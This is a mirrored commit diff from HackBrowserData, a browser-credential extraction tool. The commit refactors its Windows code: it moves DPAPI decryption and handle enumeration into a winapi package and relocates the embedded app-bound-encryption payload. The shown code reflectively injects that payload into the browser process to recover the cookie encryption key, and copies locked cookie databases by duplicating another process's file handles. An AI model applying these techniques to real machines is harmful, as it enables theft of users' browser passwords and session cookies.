mirror of
https://github.com/moonD4rk/HackBrowserData.git
synced 2026-07-06 21:37:47 +02:00
refactor(windows): split Windows code into winapi (#575)
This commit is contained in:
@@ -0,0 +1,32 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package browser
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/utils/winutil"
|
||||||
|
)
|
||||||
|
|
||||||
|
// TestWinUtilTableCoversABEBrowsers verifies that every Windows browser
|
||||||
|
// with ABE support in winutil.Table has a matching Storage key in
|
||||||
|
// platformBrowsers(). A mismatch means adding a new Chromium fork was
|
||||||
|
// incomplete: either the BrowserConfig row lacks Storage: "<key>", or
|
||||||
|
// winutil.Table has a stale entry nobody retrieves keys for.
|
||||||
|
func TestWinUtilTableCoversABEBrowsers(t *testing.T) {
|
||||||
|
storages := make(map[string]struct{})
|
||||||
|
for _, b := range platformBrowsers() {
|
||||||
|
if b.Storage != "" {
|
||||||
|
storages[b.Storage] = struct{}{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for key, entry := range winutil.Table {
|
||||||
|
if entry.ABE == winutil.ABENone {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := storages[key]; !ok {
|
||||||
|
t.Errorf("winutil.Table[%q] declares ABE support but no BrowserConfig.Storage matches — either fix the table or set Storage: %q in platformBrowsers()", key, key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,25 +0,0 @@
|
|||||||
//go:build windows && abe_embed
|
|
||||||
|
|
||||||
package crypto
|
|
||||||
|
|
||||||
import (
|
|
||||||
_ "embed"
|
|
||||||
"fmt"
|
|
||||||
)
|
|
||||||
|
|
||||||
//go:generate make -C ../.. payload
|
|
||||||
|
|
||||||
//go:embed abe_extractor_amd64.bin
|
|
||||||
var abePayloadAmd64 []byte
|
|
||||||
|
|
||||||
func ABEPayload(arch string) ([]byte, error) {
|
|
||||||
switch arch {
|
|
||||||
case "amd64":
|
|
||||||
if len(abePayloadAmd64) == 0 {
|
|
||||||
return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)")
|
|
||||||
}
|
|
||||||
return abePayloadAmd64, nil
|
|
||||||
default:
|
|
||||||
return nil, fmt.Errorf("abe: arch %q not supported in this build", arch)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
//go:build windows && !abe_embed
|
|
||||||
|
|
||||||
package crypto
|
|
||||||
|
|
||||||
import "fmt"
|
|
||||||
|
|
||||||
func ABEPayload(arch string) ([]byte, error) {
|
|
||||||
return nil, fmt.Errorf(
|
|
||||||
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
|
|
||||||
arch,
|
|
||||||
)
|
|
||||||
}
|
|
||||||
@@ -3,9 +3,7 @@
|
|||||||
package crypto
|
package crypto
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||||
"syscall"
|
|
||||||
"unsafe"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// gcmNonceSize is defined in crypto.go (cross-platform).
|
// gcmNonceSize is defined in crypto.go (cross-platform).
|
||||||
@@ -32,47 +30,10 @@ func DecryptYandex(key, ciphertext []byte) ([]byte, error) {
|
|||||||
return AESGCMDecrypt(key, nonce, payload)
|
return AESGCMDecrypt(key, nonce, payload)
|
||||||
}
|
}
|
||||||
|
|
||||||
type dataBlob struct {
|
// DecryptDPAPI decrypts a DPAPI-protected blob using the current user's
|
||||||
cbData uint32
|
// master key. The actual Win32 call (and its DATA_BLOB / LocalFree dance)
|
||||||
pbData *byte
|
// lives in utils/winapi so every package that needs a syscall handle
|
||||||
}
|
// shares a single declaration instead of re-opening Crypt32.dll per call.
|
||||||
|
|
||||||
func newBlob(d []byte) *dataBlob {
|
|
||||||
if len(d) == 0 {
|
|
||||||
return &dataBlob{}
|
|
||||||
}
|
|
||||||
return &dataBlob{
|
|
||||||
pbData: &d[0],
|
|
||||||
cbData: uint32(len(d)),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func (b *dataBlob) bytes() []byte {
|
|
||||||
d := make([]byte, b.cbData)
|
|
||||||
copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
|
|
||||||
return d
|
|
||||||
}
|
|
||||||
|
|
||||||
// DecryptDPAPI (Data Protection Application Programming Interface)
|
|
||||||
// is a simple cryptographic application programming interface
|
|
||||||
// available as a built-in component in Windows 2000 and
|
|
||||||
// later versions of Microsoft Windows operating systems
|
|
||||||
func DecryptDPAPI(ciphertext []byte) ([]byte, error) {
|
func DecryptDPAPI(ciphertext []byte) ([]byte, error) {
|
||||||
crypt32 := syscall.NewLazyDLL("Crypt32.dll")
|
return winapi.DecryptDPAPI(ciphertext)
|
||||||
kernel32 := syscall.NewLazyDLL("Kernel32.dll")
|
|
||||||
unprotectDataProc := crypt32.NewProc("CryptUnprotectData")
|
|
||||||
localFreeProc := kernel32.NewProc("LocalFree")
|
|
||||||
|
|
||||||
var outBlob dataBlob
|
|
||||||
r, _, err := unprotectDataProc.Call(
|
|
||||||
uintptr(unsafe.Pointer(newBlob(ciphertext))),
|
|
||||||
0, 0, 0, 0, 0,
|
|
||||||
uintptr(unsafe.Pointer(&outBlob)),
|
|
||||||
)
|
|
||||||
if r == 0 {
|
|
||||||
return nil, fmt.Errorf("CryptUnprotectData failed with error %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
defer localFreeProc.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
|
|
||||||
return outBlob.bytes(), nil
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -11,10 +11,10 @@ import (
|
|||||||
|
|
||||||
"github.com/tidwall/gjson"
|
"github.com/tidwall/gjson"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto/windows/payload"
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/log"
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/browserutil"
|
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
"github.com/moond4rk/hackbrowserdata/utils/injector"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/utils/winutil"
|
||||||
)
|
)
|
||||||
|
|
||||||
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
const envEncKeyB64 = "HBD_ABE_ENC_B64"
|
||||||
@@ -36,12 +36,12 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
|||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
|
|
||||||
payload, err := crypto.ABEPayload("amd64")
|
pl, err := payload.Get("amd64")
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("abe: %w", err)
|
return nil, fmt.Errorf("abe: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
exePath, err := browserutil.ExecutablePath(browserKey)
|
exePath, err := winutil.ExecutablePath(browserKey)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("abe: %w", err)
|
return nil, fmt.Errorf("abe: %w", err)
|
||||||
}
|
}
|
||||||
@@ -51,7 +51,7 @@ func (r *ABERetriever) RetrieveKey(storage, localStatePath string) ([]byte, erro
|
|||||||
}
|
}
|
||||||
|
|
||||||
inj := &injector.Reflective{}
|
inj := &injector.Reflective{}
|
||||||
key, err := inj.Inject(exePath, payload, env)
|
key, err := inj.Inject(exePath, pl, env)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
return nil, fmt.Errorf("abe: inject into %s: %w", exePath, err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ ABE_ARCH ?= amd64
|
|||||||
ABE_TARGET ?= x86_64-windows-gnu
|
ABE_TARGET ?= x86_64-windows-gnu
|
||||||
|
|
||||||
ABE_SRC_DIR = crypto/windows/abe_native
|
ABE_SRC_DIR = crypto/windows/abe_native
|
||||||
ABE_BIN_DIR = crypto
|
ABE_BIN_DIR = crypto/windows/payload
|
||||||
ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin
|
ABE_BIN = $(ABE_BIN_DIR)/abe_extractor_$(ABE_ARCH).bin
|
||||||
|
|
||||||
ABE_CFLAGS = -shared -s -O2 \
|
ABE_CFLAGS = -shared -s -O2 \
|
||||||
@@ -38,7 +38,7 @@ payload-verify: $(ABE_BIN)
|
|||||||
fi
|
fi
|
||||||
|
|
||||||
payload-clean:
|
payload-clean:
|
||||||
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin
|
rm -f $(ABE_BIN_DIR)/abe_extractor_*.bin $(ABE_BIN_DIR)/abe_extractor*.lib
|
||||||
|
|
||||||
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
|
# Scratch-layout codegen. The C header bootstrap_layout.h is the single
|
||||||
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
|
# source of truth; the Go constants in crypto/windows/abe_native/bootstrap
|
||||||
|
|||||||
@@ -0,0 +1,32 @@
|
|||||||
|
//go:build windows && abe_embed
|
||||||
|
|
||||||
|
// Package payload holds the compiled reflective-injection ABE payload
|
||||||
|
// binary and exposes it to the rest of HackBrowserData. The `abe_embed`
|
||||||
|
// build tag selects between a real //go:embed'd binary (this file) and
|
||||||
|
// a stub (stub_windows.go) so the default `go build ./...` succeeds on
|
||||||
|
// machines without the zig toolchain.
|
||||||
|
package payload
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed"
|
||||||
|
"fmt"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:generate make -C ../../.. payload
|
||||||
|
|
||||||
|
//go:embed abe_extractor_amd64.bin
|
||||||
|
var abePayloadAmd64 []byte
|
||||||
|
|
||||||
|
// Get returns the embedded ABE payload for the given architecture.
|
||||||
|
// Only "amd64" is supported today; x86 / ARM64 payloads are future work.
|
||||||
|
func Get(arch string) ([]byte, error) {
|
||||||
|
switch arch {
|
||||||
|
case "amd64":
|
||||||
|
if len(abePayloadAmd64) == 0 {
|
||||||
|
return nil, fmt.Errorf("abe: amd64 payload is empty (build system bug)")
|
||||||
|
}
|
||||||
|
return abePayloadAmd64, nil
|
||||||
|
default:
|
||||||
|
return nil, fmt.Errorf("abe: arch %q not supported in this build", arch)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
//go:build windows && !abe_embed
|
||||||
|
|
||||||
|
package payload
|
||||||
|
|
||||||
|
import "fmt"
|
||||||
|
|
||||||
|
// Get returns an error in non-release builds so feature code that needs
|
||||||
|
// the payload fails fast with a clear message. Release builds (built
|
||||||
|
// with -tags abe_embed) replace this with the //go:embed'd binary.
|
||||||
|
func Get(arch string) ([]byte, error) {
|
||||||
|
return nil, fmt.Errorf(
|
||||||
|
"abe: payload not embedded in this build (rebuild with -tags abe_embed; arch=%s)",
|
||||||
|
arch,
|
||||||
|
)
|
||||||
|
}
|
||||||
+12
-178
@@ -6,68 +6,17 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
"strings"
|
||||||
"unsafe"
|
|
||||||
|
|
||||||
"golang.org/x/sys/windows"
|
"golang.org/x/sys/windows"
|
||||||
)
|
|
||||||
|
|
||||||
const (
|
"github.com/moond4rk/hackbrowserdata/utils/winapi"
|
||||||
// systemExtendedHandleInformation is the information class for
|
|
||||||
// NtQuerySystemInformation that returns SYSTEM_HANDLE_INFORMATION_EX.
|
|
||||||
// This is the 64-bit safe version (class 64) — UniqueProcessId is ULONG_PTR
|
|
||||||
// instead of USHORT, avoiding PID truncation on 64-bit Windows.
|
|
||||||
systemExtendedHandleInformation = 64
|
|
||||||
|
|
||||||
statusInfoLengthMismatch = 0xC0000004
|
|
||||||
|
|
||||||
fileMapRead = 0x0004
|
|
||||||
pageReadonly = 0x02
|
|
||||||
fileTypeDisk = 0x0001
|
|
||||||
)
|
|
||||||
|
|
||||||
// systemHandleTableEntryInfoEx represents SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX.
|
|
||||||
// This is the extended version returned by SystemExtendedHandleInformation (class 64).
|
|
||||||
//
|
|
||||||
// Layout (64-bit Windows):
|
|
||||||
//
|
|
||||||
// PVOID Object; // 8 bytes
|
|
||||||
// ULONG_PTR UniqueProcessId; // 8 bytes
|
|
||||||
// ULONG_PTR HandleValue; // 8 bytes
|
|
||||||
// ULONG GrantedAccess; // 4 bytes
|
|
||||||
// USHORT CreatorBackTraceIndex; // 2 bytes
|
|
||||||
// USHORT ObjectTypeIndex; // 2 bytes
|
|
||||||
// ULONG HandleAttributes; // 4 bytes
|
|
||||||
// ULONG Reserved; // 4 bytes
|
|
||||||
// Total: 40 bytes on 64-bit
|
|
||||||
type systemHandleTableEntryInfoEx struct {
|
|
||||||
Object uintptr
|
|
||||||
UniqueProcessID uintptr // ULONG_PTR: safe for PID > 65535
|
|
||||||
HandleValue uintptr // ULONG_PTR: safe for large handle values
|
|
||||||
GrantedAccess uint32
|
|
||||||
CreatorBackTraceIndex uint16
|
|
||||||
ObjectTypeIndex uint16
|
|
||||||
HandleAttributes uint32
|
|
||||||
Reserved uint32
|
|
||||||
}
|
|
||||||
|
|
||||||
var (
|
|
||||||
ntdll = windows.NewLazySystemDLL("ntdll.dll")
|
|
||||||
procNtQuerySystemInformation = ntdll.NewProc("NtQuerySystemInformation")
|
|
||||||
|
|
||||||
kernel32 = windows.NewLazySystemDLL("kernel32.dll")
|
|
||||||
procGetFileType = kernel32.NewProc("GetFileType")
|
|
||||||
procGetFinalPathNameByHandleW = kernel32.NewProc("GetFinalPathNameByHandleW")
|
|
||||||
procCreateFileMappingW = kernel32.NewProc("CreateFileMappingW")
|
|
||||||
procMapViewOfFile = kernel32.NewProc("MapViewOfFile")
|
|
||||||
procUnmapViewOfFile = kernel32.NewProc("UnmapViewOfFile")
|
|
||||||
procGetFileSizeEx = kernel32.NewProc("GetFileSizeEx")
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// copyLocked copies a file that is locked by another process (e.g., Chrome's
|
// copyLocked copies a file that is locked by another process (e.g., Chrome's
|
||||||
// Cookies database with PRAGMA locking_mode=EXCLUSIVE).
|
// Cookies database with PRAGMA locking_mode=EXCLUSIVE).
|
||||||
//
|
//
|
||||||
// Approach: DuplicateHandle + FileMapping
|
// Approach: DuplicateHandle + FileMapping
|
||||||
// 1. Enumerate all open file handles via NtQuerySystemInformation(SystemExtendedHandleInformation)
|
// 1. Enumerate all open file handles via NtQuerySystemInformation
|
||||||
// 2. Find the handle matching the target file path
|
// 2. Find the handle matching the target file path
|
||||||
// 3. Duplicate that handle into our process via DuplicateHandle
|
// 3. Duplicate that handle into our process via DuplicateHandle
|
||||||
// 4. Read file content through memory-mapped I/O (CreateFileMapping + MapViewOfFile)
|
// 4. Read file content through memory-mapped I/O (CreateFileMapping + MapViewOfFile)
|
||||||
@@ -100,7 +49,7 @@ func findFileHandle(targetPath string) (windows.Handle, error) {
|
|||||||
targetSuffix := extractStableSuffix(targetPath)
|
targetSuffix := extractStableSuffix(targetPath)
|
||||||
currentProcess := windows.CurrentProcess()
|
currentProcess := windows.CurrentProcess()
|
||||||
|
|
||||||
handles, err := querySystemHandles()
|
handles, err := winapi.QuerySystemHandles()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return 0, err
|
return 0, err
|
||||||
}
|
}
|
||||||
@@ -133,14 +82,13 @@ func findFileHandle(targetPath string) (windows.Handle, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Verify it's a disk file (not a pipe, device, etc.)
|
// Verify it's a disk file (not a pipe, device, etc.)
|
||||||
fileType, _, _ := procGetFileType.Call(uintptr(dupHandle))
|
if winapi.GetFileType(dupHandle) != winapi.FileTypeDisk {
|
||||||
if fileType != fileTypeDisk {
|
|
||||||
_ = windows.CloseHandle(dupHandle)
|
_ = windows.CloseHandle(dupHandle)
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get the file path and check if it matches our target
|
// Get the file path and check if it matches our target
|
||||||
name, err := getFinalPathName(dupHandle)
|
name, err := winapi.GetFinalPathName(dupHandle)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
_ = windows.CloseHandle(dupHandle)
|
_ = windows.CloseHandle(dupHandle)
|
||||||
continue
|
continue
|
||||||
@@ -155,101 +103,15 @@ func findFileHandle(targetPath string) (windows.Handle, error) {
|
|||||||
return 0, fmt.Errorf("no process has file open: %s", targetPath)
|
return 0, fmt.Errorf("no process has file open: %s", targetPath)
|
||||||
}
|
}
|
||||||
|
|
||||||
// querySystemHandles calls NtQuerySystemInformation with
|
|
||||||
// SystemExtendedHandleInformation (class 64) to enumerate all open handles.
|
|
||||||
func querySystemHandles() ([]systemHandleTableEntryInfoEx, error) {
|
|
||||||
bufSize := uint32(4 * 1024 * 1024) // start at 4 MB
|
|
||||||
|
|
||||||
for {
|
|
||||||
buf := make([]byte, bufSize)
|
|
||||||
var returnLength uint32
|
|
||||||
|
|
||||||
ret, _, _ := procNtQuerySystemInformation.Call(
|
|
||||||
systemExtendedHandleInformation,
|
|
||||||
uintptr(unsafe.Pointer(&buf[0])),
|
|
||||||
uintptr(bufSize),
|
|
||||||
uintptr(unsafe.Pointer(&returnLength)),
|
|
||||||
)
|
|
||||||
|
|
||||||
if ret == statusInfoLengthMismatch {
|
|
||||||
bufSize *= 2
|
|
||||||
if bufSize > 256*1024*1024 {
|
|
||||||
return nil, fmt.Errorf("handle info buffer exceeded 256 MB")
|
|
||||||
}
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
if ret != 0 {
|
|
||||||
return nil, fmt.Errorf("NtQuerySystemInformation returned 0x%x", ret)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse: first field is NumberOfHandles (ULONG_PTR), then array of entries
|
|
||||||
// On 64-bit: ULONG_PTR = 8 bytes
|
|
||||||
numberOfHandles := *(*uintptr)(unsafe.Pointer(&buf[0]))
|
|
||||||
if numberOfHandles == 0 {
|
|
||||||
return nil, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
count := int(numberOfHandles)
|
|
||||||
// Entries start after NumberOfHandles + Reserved (both ULONG_PTR = 16 bytes total)
|
|
||||||
const headerSize = unsafe.Sizeof(uintptr(0)) * 2
|
|
||||||
entrySize := unsafe.Sizeof(systemHandleTableEntryInfoEx{})
|
|
||||||
|
|
||||||
// Validate buffer bounds
|
|
||||||
required := headerSize + uintptr(count)*entrySize
|
|
||||||
if required > uintptr(len(buf)) {
|
|
||||||
return nil, fmt.Errorf("buffer too small: need %d, have %d", required, len(buf))
|
|
||||||
}
|
|
||||||
|
|
||||||
entries := make([]systemHandleTableEntryInfoEx, count)
|
|
||||||
for i := 0; i < count; i++ {
|
|
||||||
src := unsafe.Pointer(uintptr(unsafe.Pointer(&buf[0])) + headerSize + uintptr(i)*entrySize)
|
|
||||||
entries[i] = *(*systemHandleTableEntryInfoEx)(src)
|
|
||||||
}
|
|
||||||
return entries, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// getFinalPathName returns the normalized file path for a file handle.
|
|
||||||
func getFinalPathName(handle windows.Handle) (string, error) {
|
|
||||||
size := 512
|
|
||||||
for {
|
|
||||||
buf := make([]uint16, size)
|
|
||||||
n, _, err := procGetFinalPathNameByHandleW.Call(
|
|
||||||
uintptr(handle),
|
|
||||||
uintptr(unsafe.Pointer(&buf[0])),
|
|
||||||
uintptr(len(buf)),
|
|
||||||
0, // FILE_NAME_NORMALIZED
|
|
||||||
)
|
|
||||||
if n == 0 {
|
|
||||||
return "", fmt.Errorf("GetFinalPathNameByHandle: %w", err)
|
|
||||||
}
|
|
||||||
if int(n) > len(buf) {
|
|
||||||
// Buffer too small, retry with required size
|
|
||||||
size = int(n)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
path := windows.UTF16ToString(buf[:n])
|
|
||||||
// Remove \\?\ prefix added by GetFinalPathNameByHandle
|
|
||||||
path = strings.TrimPrefix(path, `\\?\`)
|
|
||||||
return path, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// readFileContent reads file content from a duplicated handle.
|
// readFileContent reads file content from a duplicated handle.
|
||||||
// It uses FileMapping first (CreateFileMapping + MapViewOfFile), which reads
|
// It uses FileMapping first (CreateFileMapping + MapViewOfFile), which reads
|
||||||
// from the OS kernel's file cache — this includes WAL data that Chrome has
|
// from the OS kernel's file cache — this includes WAL data that Chrome has
|
||||||
// written but not yet checkpointed to the main file. Falls back to ReadFile
|
// written but not yet checkpointed to the main file. Falls back to ReadFile
|
||||||
// if FileMapping fails.
|
// if FileMapping fails.
|
||||||
func readFileContent(handle windows.Handle) ([]byte, error) {
|
func readFileContent(handle windows.Handle) ([]byte, error) {
|
||||||
// Get file size
|
fileSize, err := winapi.GetFileSizeEx(handle)
|
||||||
var fileSize int64
|
if err != nil {
|
||||||
ret, _, sizeErr := procGetFileSizeEx.Call(
|
return nil, err
|
||||||
uintptr(handle),
|
|
||||||
uintptr(unsafe.Pointer(&fileSize)),
|
|
||||||
)
|
|
||||||
if ret == 0 {
|
|
||||||
return nil, fmt.Errorf("GetFileSizeEx: %w", sizeErr)
|
|
||||||
}
|
}
|
||||||
if fileSize == 0 {
|
if fileSize == 0 {
|
||||||
return nil, fmt.Errorf("file is empty")
|
return nil, fmt.Errorf("file is empty")
|
||||||
@@ -258,12 +120,13 @@ func readFileContent(handle windows.Handle) ([]byte, error) {
|
|||||||
size := int(fileSize)
|
size := int(fileSize)
|
||||||
|
|
||||||
// Try FileMapping first — reads from kernel file cache, includes WAL data
|
// Try FileMapping first — reads from kernel file cache, includes WAL data
|
||||||
if data, err := readViaFileMapping(handle, size); err == nil {
|
if data, err := winapi.MapFile(handle, size); err == nil {
|
||||||
return data, nil
|
return data, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// FileMapping failed, fall back to ReadFile
|
// FileMapping failed, fall back to ReadFile.
|
||||||
// Seek to beginning first — the handle's file pointer may be at an arbitrary position
|
// Seek to beginning first — the handle's file pointer may be at an
|
||||||
|
// arbitrary position.
|
||||||
if _, err := windows.Seek(handle, 0, 0); err != nil {
|
if _, err := windows.Seek(handle, 0, 0); err != nil {
|
||||||
return nil, fmt.Errorf("seek to start: %w", err)
|
return nil, fmt.Errorf("seek to start: %w", err)
|
||||||
}
|
}
|
||||||
@@ -275,35 +138,6 @@ func readFileContent(handle windows.Handle) ([]byte, error) {
|
|||||||
return data[:bytesRead], nil
|
return data[:bytesRead], nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// readViaFileMapping reads file content using CreateFileMapping + MapViewOfFile.
|
|
||||||
func readViaFileMapping(handle windows.Handle, size int) ([]byte, error) {
|
|
||||||
mapping, _, err := procCreateFileMappingW.Call(
|
|
||||||
uintptr(handle),
|
|
||||||
0, pageReadonly,
|
|
||||||
0, 0, 0,
|
|
||||||
)
|
|
||||||
if mapping == 0 {
|
|
||||||
return nil, fmt.Errorf("CreateFileMapping: %w", err)
|
|
||||||
}
|
|
||||||
defer windows.CloseHandle(windows.Handle(mapping))
|
|
||||||
|
|
||||||
viewPtr, _, err := procMapViewOfFile.Call(
|
|
||||||
mapping, fileMapRead,
|
|
||||||
0, 0, 0,
|
|
||||||
)
|
|
||||||
if viewPtr == 0 {
|
|
||||||
return nil, fmt.Errorf("MapViewOfFile: %w", err)
|
|
||||||
}
|
|
||||||
defer procUnmapViewOfFile.Call(viewPtr)
|
|
||||||
|
|
||||||
// viewPtr is a valid pointer from MapViewOfFile syscall.
|
|
||||||
// go vet flags this as "possible misuse of unsafe.Pointer" but it's
|
|
||||||
// correct usage for Windows memory-mapped I/O.
|
|
||||||
data := make([]byte, size)
|
|
||||||
copy(data, (*[1 << 30]byte)(unsafe.Pointer(viewPtr))[:size]) //nolint:govet
|
|
||||||
return data, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// extractStableSuffix extracts a path suffix that is stable across short/long
|
// extractStableSuffix extracts a path suffix that is stable across short/long
|
||||||
// path name variations. It finds "AppData" in the path and returns everything
|
// path name variations. It finds "AppData" in the path and returns everything
|
||||||
// after "AppData\Local\" or "AppData\Roaming\" in lowercase.
|
// after "AppData\Local\" or "AppData\Roaming\" in lowercase.
|
||||||
|
|||||||
@@ -196,7 +196,7 @@ Go consumes the same constants via **`go tool cgo -godefs`** (a development-time
|
|||||||
`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
|
`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
|
||||||
|
|
||||||
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
|
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
|
||||||
2. Resolves browser executable via `utils/browserutil/path_windows.go` (registry App Paths → hardcoded fallback).
|
2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback).
|
||||||
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
|
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
|
||||||
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
|
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
|
||||||
5. Returns the 32-byte key on success, or a formatted diagnostic error.
|
5. Returns the 32-byte key on success, or a formatted diagnostic error.
|
||||||
@@ -299,7 +299,7 @@ Three steps. Detail (dump scripts, CLSID discovery) lives in private maintainer
|
|||||||
2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `<InstallDir>\Application\<version>\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator<Vendor>` → v1 IID, `IElevator2<Vendor>` → v2 IID (absent for older vendors).
|
2. **Mine IIDs from TypeLib** — the interface IIDs live in the TypeLib resource of `<InstallDir>\Application\<version>\elevation_service.exe`. PowerShell + `ITypeLib.GetTypeInfo` enumerates them. Map `IElevator<Vendor>` → v1 IID, `IElevator2<Vendor>` → v2 IID (absent for older vendors).
|
||||||
3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13).
|
3. **Determine vtable slot** — count `IElevator` methods in the TypeLib. Chrome-family has 3 methods (slot 5). Edge prepends 3 placeholders (slot 8). Avast extends the interface further (slot 13).
|
||||||
|
|
||||||
Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `browser/browser_windows.go` (set `Storage: "<key>"` for the new `BrowserConfig`), optionally `utils/browserutil/path_windows.go` (for non-standard install paths), then `make payload-clean && make build-windows` and redeploy.
|
Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/browser_meta_windows.go` (add a matching `winutil.Entry` with the right `ABEKind` and install-path fallbacks), `browser/browser_windows.go` (set `Storage: "<key>"` for the new `BrowserConfig`), then `make payload-clean && make build-windows` and redeploy.
|
||||||
|
|
||||||
## 12. Known issues & future work
|
## 12. Known issues & future work
|
||||||
|
|
||||||
|
|||||||
@@ -1,116 +0,0 @@
|
|||||||
//go:build windows
|
|
||||||
|
|
||||||
package browserutil
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"path/filepath"
|
|
||||||
|
|
||||||
"golang.org/x/sys/windows/registry"
|
|
||||||
)
|
|
||||||
|
|
||||||
var ErrExecutableNotFound = errors.New("browser executable not found")
|
|
||||||
|
|
||||||
type browserLocation struct {
|
|
||||||
exeName string
|
|
||||||
fallbacks []string
|
|
||||||
}
|
|
||||||
|
|
||||||
var browserLocations = map[string]browserLocation{
|
|
||||||
"chrome": {
|
|
||||||
exeName: "chrome.exe",
|
|
||||||
fallbacks: []string{
|
|
||||||
`%ProgramFiles%\Google\Chrome\Application\chrome.exe`,
|
|
||||||
`%ProgramFiles(x86)%\Google\Chrome\Application\chrome.exe`,
|
|
||||||
`%LocalAppData%\Google\Chrome\Application\chrome.exe`,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"chrome-beta": {
|
|
||||||
exeName: "chrome.exe",
|
|
||||||
fallbacks: []string{
|
|
||||||
`%ProgramFiles%\Google\Chrome Beta\Application\chrome.exe`,
|
|
||||||
`%ProgramFiles(x86)%\Google\Chrome Beta\Application\chrome.exe`,
|
|
||||||
`%LocalAppData%\Google\Chrome Beta\Application\chrome.exe`,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"edge": {
|
|
||||||
exeName: "msedge.exe",
|
|
||||||
fallbacks: []string{
|
|
||||||
`%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe`,
|
|
||||||
`%ProgramFiles%\Microsoft\Edge\Application\msedge.exe`,
|
|
||||||
},
|
|
||||||
},
|
|
||||||
"brave": {
|
|
||||||
exeName: "brave.exe",
|
|
||||||
fallbacks: []string{
|
|
||||||
`%ProgramFiles%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
|
||||||
`%ProgramFiles(x86)%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
|
||||||
`%LocalAppData%\BraveSoftware\Brave-Browser\Application\brave.exe`,
|
|
